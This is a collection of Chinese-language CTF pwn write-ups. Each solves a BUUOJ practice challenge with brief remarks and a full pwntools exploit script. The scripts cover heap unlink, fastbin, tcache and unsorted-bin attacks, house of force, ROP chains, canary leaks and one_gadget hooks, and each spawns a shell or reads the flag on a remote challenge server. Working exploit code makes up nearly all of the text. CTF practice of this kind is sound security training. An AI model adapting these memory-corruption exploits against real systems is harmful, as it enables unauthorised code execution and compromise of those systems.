leak = u64(io.recv(6).ljust(8,'\x00'))
print '[*] puts_got :' + hex(leak)
offset = leak - libc.sym['puts']
print '[*] offset :' + hex(offset)
system = offset + libc.sym['system']
edit(4,p64(system))
sl('/bin/sh\x00')
it()

zctf2016_note2

io.recv()
io.sendline('1')
ru('address:')
sl('1')
payload = p64(0x0) + p64(0xa1) + p64(ptr-0x18) + p64(ptr-0x10)
add(0x80,payload)
add(0,'a')
add(0x80,'a')
free(1)
payload = 'a'*0x10 + p64(0xa0) + p64(0x90)
add(0,payload)
free(2)
payload = 'a'*0x18 + p64(elf.got['atoi'])
edit(0,payload)
show(0)
ru('is ')
leak = u64(io.recv(6).ljust(8,'\x00'))
print '[*] atoi_add :' + hex(leak)
offset = leak - libc.sym['atoi']
print '[*] offset :' +hex(offset)
system= offset + libc.sym['system']
edit(0,p64(system))
ru('>>\n')
sl('/bin/sh\x00')
it()

输入0的时候unsigned识别成很大的整数,而只会malloc(0x20),跟上一题差不多。

[ZJCTF 2019]EasyHeap

有l33t函数,但是buu上没有配置环境,所以只能拿shell。

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',26783)
elf = ELF('./easyheap')
libc = ELF('x64-libc-2.23.so')
context.log_level = 'debug'

ru = lambda x : io.recvuntil(x)
sl = lambda x : io.sendline(x)
se = lambda x : io.sendline(x)
it = lambda : io.interactive()

def add(size,con):
    ru('choice :')
    sl('1')
    ru('Heap : ')
    sl(str(size))
    ru('heap:')
    se(con)

def free(idx):
    ru('choice :')
    sl('3')
    ru('dex :')
    sl(str(idx))

def edit(idx,size,con):
    ru('choice :')
    sl('2')
    ru('Index :')
    sl(str(idx))
    ru('Heap : ')
    sl(str(size))
    ru('Content of heap : ')
    se(con)

ptr = 0x6020B0
add(0x68,'')#0
add(0x68,'')#1
add(0x68,'')#2
add(0x10,'')#3
free(2)
payload = '/bin/sh\x00'
payload = payload.ljust(0x68,'a')
payload += p64(0x71) + p64(ptr-3)
edit(1,0x200,payload)
add(0x68,'')#2
add(0x68,'')#3
payload = '\xaa'*3 + p64(0)*4 + p64(elf.got['free'])
edit(3,len(payload)+0x100,payload)
edit(0,0x9,p64(elf.plt['system']))
free(1)
it()

hitcontraining_bamboobox

unlink

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',27901)
elf = ELF('./bamboobox')
libc = ELF('./x64-libc-2.23.so')
context.log_level = 'debug'

ru = lambda x : io.recvuntil(x)
sl = lambda x : io.sendline(x)
it = lambda : io.interactive()
def rv():
    ru('Your choice:')

def add(size,con):
    rv()
    sl('2')
    ru('name:')
    sl(str(size))
    ru('item:')
	sl(con)

def show():
    rv()
    sl('1')

def free(idx):
    rv()
    sl('4')
    ru('item:')
    sl(str(idx))

def edit(idx,size,con):
    rv()
    sl('3')
    ru('item:')
    sl(str(idx))
    ru('name:')
    sl(str(size))
    ru('item:')
    sl(con)
    
ptr = 0x6020C8
add(0x40,'a')#0
add(0x80,'a')#1
add(0x40,'a')#2
payload = p64(0) + p64(0x41) + p64(ptr-0x18)+ p64(ptr-0x10) + p64(0)*4
payload += p64(0x40) + p64(0x90)
edit(0,0x100,payload)
free(1)
payload = p64(0)+ p64(0)+ p64(0x40)+p64(elf.got['atoi'])
edit(0,0x100,payload)
show()

ru('0 : ')
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print '[*] atoi add :' + hex(leak)
offset = leak - libc.sym['atoi']
print '[*] offset :' + hex(offset)
system = offset + libc.sym['system']
edit(0,0x100,p64(system))
rv()
sl('/bin/sh\x00')

it()

hitcontraining_magicheap

有l33t函数,unsortedbin attack拿到在magic附近的chunk,改magic大于0x1305触发漏洞即可。

#!/usr/bin/env python

from pwn import *
io = remote('node3.buuoj.cn',27698)
elf = ELF('./magicheap')
libc = ELF('x64-libc-2.23.so')
context.log_level = 'debug'

ru = lambda x : io.recvuntil(x)
sl = lambda x : io.sendline(x)
se = lambda x : io.sendline(x)
it = lambda : io.interactive()

def add(size,con):
    ru('choice :')
    sl('1')
    ru('Heap : ')
    sl(str(size))
    ru('heap:')
    se(con)

def free(idx):
    ru('choice :')
    sl('3')

	ru('dex :')
    sl(str(idx))

def edit(idx,size,con):
    ru('choice :')
    sl('2')
    ru('Index :')
    sl(str(idx))
    ru('Heap : ')
    sl(str(size))
    ru('Content of heap : ')
    se(con)

add(0x10,'a')
add(0x80,'a')
add(0x10,'a')
free(1)
payload = p64(0)*2 +p64(0) + p64(0x91) + p64(0) + p64(elf.sym['magic']-0x10)
edit(0,0x30,payload)
add(0x80,'dddd')
ru('choice :')
sl('4869')
it()

0ctf_2017_babyheap

fastbin attack的一个非常好的练习题,

*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;

free之后一通清零,想直接用unsortedbin泄露libc地址有点难,于是构造一个fastbin分配到和一个unsortedbin同一位置,show(fastbin)把unsortedbin指向的地址打印出来。

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',29234)
elf = ELF('./0ctf_2017_babyheap')
libc = ELF('./x64-libc-2.23.so')
context.log_level = 'debug'

ru = lambda x : io.recvuntil(x)
sl = lambda x : io.sendline(x)
se = lambda x : io.send(x)
it = lambda : io.interactive()

def add(size):
    ru('Command: ')
    sl('1')
    ru('Size: ')
    sl(str(size))

def edit(idx,con):
    ru('Command: ')
    sl('2')
    ru('dex: ')
    sl(str(idx))
    ru('Size: ')
    sl(str(len(con)))
    ru('tent: ')
    se(con)

def free(idx):
    ru('Command: ')
    sl('3')
    ru('dex: ')
    sl(str(idx))

def show(idx):
    ru('Command: ')
    sl('4')
    ru('dex: ')
    sl(str(idx))

add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4
free(2)
free(1)
payload = p64(0)*3 + p64(0x21)
edit(3,payload)
payload = p64(0x0)*3+p64(0x21)+p8(0x80)
edit(0,payload)
add(0x10)#1
add(0x10)#2 location:#4
payload = p64(0x0)*3+p64(0x91)
edit(3,payload)
add(0x80)#5
free(4)
show(2)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('leak:'+ hex(leak))
offset = leak-0x3c4b78
add(0x60)#4
free(4)
fakefd = offset + 0x3c4aed
log.success('fd:'+hex(fakefd))
edit(2,p64(fakefd))
add(0x60)#4
add(0x60)#6
one = offset + 0x4526a
payload = 'a'*0x13 + p64(one)
edit(6,payload)
add(0x10)
it()

others_babystack

canary,还有0x90+0x10=0xa0,0x90+0x10=0xa0,0x90+0x10=0xa0,0x90+0x10≠0x100,0x90+0x10≠0x100,0x90+0x10≠0x100

from pwn import *
io = remote('node3.buuoj.cn',25549)
elf = ELF('./babystack')
libc =ELF('./x64-libc-2.23.so')
context.log_level='debug'

def store(con):
    io.recvuntil('>> ')
    io.sendline('1')
    io.send(con)

def pr():
    io.recvuntil('>> ')
    io.sendline('2')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x400908
rdi=0x0000000000400a93
payload = 'a'*(0x90-0x8) + 'b'
store(payload)
pr()
io.recvuntil('ab')
canary = u64(io.recv(7).rjust(8,'\x00'))
log.success(hex(canary))
payload = 'a'*(0x90-0x8)+p64(canary)+'a'*0x8+p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
store(payload)
io.sendlineafter('>> ','3')
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('leak:'+hex(leak))
offset = leak - libc.sym['puts']
system = libc.sym['system']+offset
binsh = libc.search('/bin/sh\x00').next()+offset
payload = 'a'*(0x90-0x8)+p64(canary)+'a'*0x8+p64(rdi)+p64(binsh)+p64(system)
store(payload)
io.sendlineafter('>> ','3')
io.interactive()

bjdctf_2020_babystack2

这题没留脚本,用ipython敲了敲完事

from pwn import *

p = process('./bjdctf_2020_babystack2')
#p = remote('node3.buuoj.cn',27265)
context.log_level = 'debug'

shell_addr = 0x0400726
p.recv()
p.sendline('-1')
p.recv()
payload = '\x39'*0x10 + 'bbbbbbbb' + p64(shell_addr)
p.send(payload)
p.interactive()

bjdctf_2020_babyrop2

格式化字符串泄露canary。

from pwn import *
io = remote('node3.buuoj.cn',26368)
elf = ELF('./bjdctf_2020_babyrop2')
libc = ELF('./x64-libc-2.23.so')
#context.log_level = 'debug'
io.recvuntil('u!\n')
io.sendline('%7$p')
io.recvuntil('0x')
canary=int(io.recv(16),16)
log.success(hex(canary))
rdi = 0x0000000000400993
vul = 0x400887
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload = 'a'*0x18 + p64(canary)+'a'*0x8 + p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vul)
io.recvuntil('story!\n')
io.sendline(payload)
leak = u64(io.recv(6).ljust(8,'\x00'))
log.success(hex(leak))
offset = leak - libc.sym['puts']
system = offset + libc.sym['system']
binsh = offset + libc.search('/bin/sh').next()
payload = 'a'*0x18 + p64(canary)+'a'*0x8+p64(rdi)+p64(binsh)+p64(system)+p64(vul)
io.recvuntil('story!\n')
io.sendline(payload)
io.interactive()

rootersctf_2019_babypwn

from pwn import *
from LibcSearcher import *
io = remote('node3.buuoj.cn',29904)
elf = ELF('./rootersctf_2019_babypwn')
libc = ELF('./x64-libc-2.27.so')
context.log_level = 'debug'
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x0000000000401223
main = 0x401146
ret = 0x000000000040101a
payload = 'a'*0x100+'a'*0x7+'b'+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.recv()
io.sendline(payload)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('leak:'+hex(leak))
offset = leak - libc.sym['puts']
log.success(hex(offset))
system = offset + libc.sym['system']
log.success(hex(system))
binsh = offset + libc.search('/bin/sh').next()
log.success(hex(binsh))
payload = 'a'*0x108+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
io.recvuntil('back>')
io.sendline(payload)
io.interactive()

zer0pts_2020_hipwn

from pwn import *
io = remote('node3.buuoj.cn',25027)
elf = ELF('./zer0pts_2020_hipwn')
rdi = 0x000000000040141c
rsi_1 = 0x000000000040141a
rdx = 0x00000000004023f5
rax = 0x0000000000400121
syscall = 0x4024DD
bss = elf.bss()
payload = 'a'*0x108 + p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi_1) + p64(bss) + p64(0) + p64(rdx) + p64(0x20) + p64(syscall)
payload += p64(rax) + p64(0x3b) + p64(rdi) + p64(bss) + p64(rsi_1) + p64(0) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
io.recv()
io.sendline(payload)
io.sendline('/bin/sh\x00\x00')
io.interactive()

zer0pts_2020_protrude

这题好像是在利用数组的下标存在栈中,而数组内容会覆盖下标,从而引起输入地址的变化。看了wp,利用两次泄露数据的不同泄露出栈地址,利用栈进行rop得到libc地址向返回地址写入one_gadget。

from pwn import *
io = remote('node3.buuoj.cn',27525)
elf = ELF('./zer0pts2020_protrude_2')
libc = ELF('../../x64-libc-2.23.so')
context.log_level = 'debug'

def calc_num(n,payload):
    io.recvuntil('n = ')
    io.sendline(str(n))
    for num in payload:
        io.recvuntil(' = ')
        io.sendline(str(num))
    io.recvuntil('SUM = ')
    ret_sum = io.recvuntil('\n')
    return int(ret_sum)

pop_rdi = 0x0000000000400a83
leave_ret = 0x4009B7

n,payload = 22,[0 for i in range(16)]
payload[-2] = 20
payload[-1] = elf.sym['_start']
add1 = calc_num(n,payload)
n,payload = 22,[0 for i in range(19)]
payload[-5] = 17
payload[-4] = 0
payload[-3] = 0
payload[-2] = 0
payload[-1] = elf.sym['_start']
add2 = calc_num(n,payload)
stack_add = (add1 - 28 - 0xb0) - (add2 - 28 + 0xe0)
log.success('stack address: ' + hex(stack_add))

n,payload = 22,[0 for i in range(17)]
payload[1] = pop_rdi
payload[2] = elf.got['puts']
payload[3] = elf.plt['puts']
payload[4] = elf.sym['_start']
payload[-3] = 19
payload[-2] = stack_add-0x1c0
payload[-1] = leave_ret
calc_num(n,payload)

leak = u64(io.recv(6).ljust(8,'\x00'))
log.success('leak puts address: ' + hex(leak))
offset = leak - libc.sym['puts']
one_gadget = 0x45216 + offset

n,payload = 22,[0 for i in range(16)]
payload[-2] = 20
payload[-1] = one_gadget
calc_num(n,payload)
io.interactive()

warmup

脚本丢失,现~~抄~~写一个

from pwn import *
r = remote('node2.buuoj.cn.wetolink.com', 28772)
#r = process('warmup')
binsh = '/bin/sh\x00\x00\x00\x00'
fuck_addr =0x80491bc
read = 0x804811d
start = 0x080480d8
fuck_reg = 0x8048122
padding = 'a'*0x20
payload = padding+p32(read)+p32(start)+p32(0)+p32(fuck_addr)+p32(11)
r.send(payload)
r.send(binsh)
payload = padding+p32(read)+p32(fuck_reg)+p32(0)+p32(fuck_addr)+p32(0x8049212)
r.send(payload)
r.send(binsh)
r.interactive()

babyfengshui_33c3_2016

if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }

防止溢出的时候只要合理分割两个chunk就可以绕过检测。

from pwn import *
io = remote('node3.buuoj.cn',26421)
#io = process('./babyfengshui_33c3_2016')
elf = ELF('./babyfengshui_33c3_2016')
libc = ELF('./x86-libc-2.23.so')
#context.log_level = 'debug'

def add(size,name,textlen,text):
    io.sendlineafter('Action: ','0')
    io.sendlineafter('description: ',str(size))
    io.sendlineafter('name: ',name)
    io.sendlineafter('text length: ',str(textlen))
    io.sendlineafter('text: ',text)

def free(idx):
    io.sendlineafter('Action: ','1')
	io.sendlineafter('index: ',str(idx))

def show(idx):
    io.sendlineafter('Action: ','2')
    io.sendlineafter('index: ',str(idx))

def edit(idx,textlen,text):
    io.sendlineafter('Action: ','3')
    io.sendlineafter('index: ',str(idx))
    io.sendlineafter('length: ',str(textlen))
    io.sendlineafter('text: ',text)

def debug():
    gdb.attach(io)
    pause()

free_got = elf.got['free']
add(0x80,'abc',0x80,'a')
add(0x80,'abc',0x80,'a')
add(0x8,'/bin/sh',0x8,'/bin/sh')
free(0)
payload = 'a'*(0x80 + 0x80 + 0x8 + 0x8 + 0x80 + 0x8) + p32(free_got)
add(0x100,'abc',0x200,payload)
show(1)
io.recvuntil('description: ')
leak = u32(io.recv(4))
log.success('leak address: ' + hex(leak))
offset = leak - libc.sym['free']
system = offset + libc.sym['system']
log.success('system address: '+ hex(system))
edit(1,0x4,p32(system))
free(2)
io.interactive()

ciscn_2019_es_2

这解法没看懂

from pwn import *
io = remote('node3.buuoj.cn',29930)
elf = ELF('./ciscn_2019_es_2')
context.log_level = 'debug'

system = elf.plt['system']

io.recv()
payload = 'a'*0x27 + 'b'
io.send(payload)
io.recv(0x28+7)
ebp = u32(io.recv(4))
log.success('ebp: '+hex(ebp))
payload = ('a'*0x8 + p32(ebp-0x24) + 'b'*0x4 + p32(system) + 'c'*0x4 + p32(ebp-0x1c) + '/bin/sh\x00').ljust(0x28,'a') + p32(ebp-0x2c)
#payload += p32(ebp-0x1c) + '/bin/sh\x00' + 'junkjunk' + p32(ebp-0x2c)
io.send(payload)
io.interactive()

inndy_rop

ROPgadget –binary ./rop –only –ropchain

from pwn import *
from struct import pack

io = remote('node3.buuoj.cn',25437)
# Padding goes here
p = ''

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

io.sendline('a'*0xc+'a'*0x4+p)
io.interactive()

ciscn_2019_es_1

tcache attack白给。

from pwn import *
io = remote('node3.buuoj.cn',28823)
elf = ELF('./ciscn_2019_es_1')
libc = ELF('./x64-libc-2.27.so')
context.log_level = 'debug'

def add(size,name,call):
    io.sendlineafter('choice:','1')
    io.sendlineafter('\n',str(size))
    io.sendafter('\n',name)
    io.sendafter('\n',call)

def free(idx):
	io.sendlineafter('choice:','3')
    io.sendlineafter('\n',str(idx))

def show(idx):
    io.sendlineafter('choice:','2')
    io.sendlineafter('\n',str(idx))

add(0x410,'a','a')#0
add(0x28,'/bin/sh','0')#1
add(0x68,'/bin/sh','1')#2
free(0)
show(0)
offset = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96-0x10-libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook'] +offset
system = offset+libc.sym['system']
free(1)
free(1)
add(0x28,p64(free_hook),'s')
add(0x28,'a','a')
add(0x28,p64(system),'a')
free(2)
io.interactive()

bbys_tu_2016

from pwn import *
io = remote('node3.buuoj.cn',27322)
payload = 'a'*24+p32(0x804856D)
io.sendline(payload)
io.interactive()

hitcontraining_secretgarden

from pwn import *
io = process('./secretgarden')
#io = remote('node3.buuoj.cn',26589)
elf = ELF('./secretgarden')
#context.log_level = 'debug'
libc = ELF('./x64-libc-2.23.so')

def add(size,name):
    io.sendlineafter(' : ','1')
    io.sendlineafter(' :',str(size))
    io.sendafter(' :',name)
    io.sendlineafter(' :','black')

def free(idx):
    io.sendlineafter(' : ','3')
	io.sendlineafter(':',str(idx))

def show():
    io.sendlineafter(' : ','2')

def clean():
    io.sendlineafter(' : ','4')

magic = 0x400C5E
tar = 0x601fffa
add(0x90,'a')
add(0x60,'a')
free(0)
clean()
add(0x90,'aaaaaaab')
show()
io.recvuntil('ab')
offset = u64(io.recv(6).ljust(8,'\x00'))-0x3c4b78
log.success(hex(offset))
malloc_hook = offset + libc.sym['__malloc_hook']
log.success(hex(malloc_hook))
add(0x60,'a')
add(0x60,'a')
free(1)
free(2)
free(1)
add(0x60,p64(malloc_hook-0x23))
add(0x60,'a')
add(0x60,'a')
add(0x60,'a'*0x13+p64(magic))
io.sendlineafter(' : ','1')
io.sendline('cat flag')
io.interactive()

gyctf_2020_some_thing_exceting

小蓝师傅tql。

flag被读入0x6020A8,分配一个chunk到这里show出来。

from pwn import *
io = remote('node3.buuoj.cn',26806)
elf = ELF('./gyctf_2020_some_thing_exceting')
context.log_level = 'debug'


def add(len1,ba,len2,na):
    io.sendlineafter('do :','1')
    io.sendlineafter('length : ',str(len1))
    io.sendafter('ba : ',ba)
    io.sendlineafter('length : ',str(len2))
    io.sendafter('na : ',na)

def free(idx):
    io.sendlineafter('do :','3')
    io.sendlineafter('ID : ',str(idx))

def show(idx):
    io.sendlineafter('do :','4')
    io.sendlineafter('ID : ',str(idx))

add(0x50,'a',0x50,'a')#0
add(0x50,'a',0x50,'a')#1
add(0x50,'a',0x50,'a')
free(0)
free(1)
free(0)
add(0x50,p64(0x6020A8-0x10),0x50,'a')#3
add(0x50,'a',0x50,'a')#4
add(0x50,'f',0x30,'a')#5
show(5)
io.interactive()

cmcc_pwnme2

from pwn import *
io = remote('node3.buuoj.cn',26461)
elf = ELF('./pwnme2')
libc = ELF('./x86-libc-2.23.so')
context.log_level = 'debug'

string = 0x804A060
addr = 0x80485CB

io.recvuntil('input:\n')
payload = 'a'*(0x6c+0x4)+p32(elf.plt['gets'])+p32(addr)+p32(string)
io.sendline(payload)
io.sendline('/flag')
io.interactive()

bcloud_bctf_2016

house of force,全程蒙逼

from pwn import *
#io = process('./bcloud_bctf_2016')
io = remote('node3.buuoj.cn',26931)
elf = ELF('./bcloud_bctf_2016')
libc = ELF('./x86-libc-2.23.so')
context.log_level = 'debug'
io.sendafter('Input your name:\n','a'*64)
io.recvuntil('Hey '+'a'*64)
heap_base = u32(io.recv(4)) - 8
log.success(hex(heap_base))
io.sendafter('Org:\n','a'*64)
io.sendlineafter('Host:\n',p32(0xffffffff))
top_chunk = heap_base + (0x40+8)*3
io.sendlineafter('option--->>','1')
note_size_add = 0x804B0A0
note_list_add = 0x804B120
target = note_size_add -8
offset_target_top = target - top_chunk
malloc_size = offset_target_top - 4 - 7
io.sendlineafter('Input the length of the note content:\n',str(malloc_size-4))
if malloc_size - 4 > 0:
    io.sendlineafter('Input the content:\n', '')
io.sendlineafter('option--->>','1')
io.sendlineafter('Input the length of the note content:\n',str(1000))
payload = p32(16)*3 + (note_list_add-note_size_add-12)*'a'+p32(elf.got['free'])+p32(elf.got['atoi'])*2
io.sendlineafter('Input the content:\n', payload)
io.sendlineafter('option--->>','3')
io.sendlineafter('Input the id:\n',str(0))
io.sendlineafter('Input the new content:\n', p32(elf.plt['puts']))
io.sendlineafter('option--->>','4')
io.sendlineafter('Input the id:\n',str(1))
atoi_add = u32(io.recv(4))
libc_base = atoi_add - libc.sym['atoi']
system = libc_base + libc.sym['system']
io.sendlineafter('option--->>','3')
io.sendlineafter('Input the id:\n',str(2))
io.sendlineafter('Input the new content:\n', p32(system))
io.sendlineafter('option--->>','cat flag')
io.interactive()

oneshot_tjctf_2016

把实现调用过的一个got表中的内容搞出来,得到libc基址。

from pwn import *
io = remote('node3.buuoj.cn',26056)
elf = ELF('./oneshot_tjctf_2016')
libc = ELF('./x64-libc-2.23.so')
context.log_level = 'debug'
io.recvuntil('location?')
io.sendline(str(elf.got['__libc_start_main']))
io.recvuntil('Value: ')
leak = int(io.recv()[6:19],16)
log.success(hex(leak))
offset = leak - libc.sym['__libc_start_main']
one = offset + 0x45216
io.sendline(str(one))
io.interactive()

others_shellcode

白给

[ZJCTF 2019]Login

c++程序,看不懂啊。有个地方有call eax,覆盖eax即可

from pwn import *
io = remote('node3.buuoj.cn',26269)
shell = 0x400E88
io.sendlineafter(': ','admin')
payload = '2jctf_pa5sw0rd' + '\x00'*58 + p64(shell)
io.sendlineafter(': ',payload)
io.sendline('cat flag & exit')
io.interactive()

roarctf_2019_easy_pwn

off-by-one+realloc调整栈帧。

from pwn import *
io = remote('node3.buuoj.cn',29545)
#io = process('./roarctf_2019_easy_pwn')
elf = ELF('./roarctf_2019_easy_pwn')
libc = ELF('./x64-libc-2.23.so')

def add(size):
    io.sendlineafter('choice: ','1')
    io.sendlineafter('size: ',str(size))

def edit(idx,size,con):
    io.sendlineafter('choice: ','2')
    io.sendlineafter('index: ',str(idx))
    io.sendlineafter('size: ',str(size))
    io.sendafter('content: ',con)

def free(idx):
    io.sendlineafter('choice: ','3')
    io.sendlineafter('index: ',str(idx))

def show(idx):
    io.sendlineafter('choice: ','4')
    io.sendlineafter('index: ',str(idx))
    
add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x88)#3
add(0x28)#4
add(0x28)#5
add(0x68)#6
edit(0,0x18+10,'a'*0x18+'\xb1')
free(1)
add(0xa8)#1
edit(1,0x20,'a'*0x18+p64(0x91))
free(2)
show(1)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success(hex(leak))
libc_base = leak - 0x3c4b78
malloc_hook = leak - 88 - 0x10
realloc = libc_base + libc.sym['__libc_realloc']
one = libc_base + 0x4526a
edit(4,0x28+10,'a'*0x28+'\xa1')
free(5)
free(6)
add(0x98)#2
edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23))
add(0x68)#5
add(0x68)#6
payload = 'a'*(0x13-8)+p64(one) + p64(realloc+0x10)
edit(6,len(payload),payload)
add(0x10)
io.sendline('cat flag')
io.interactive()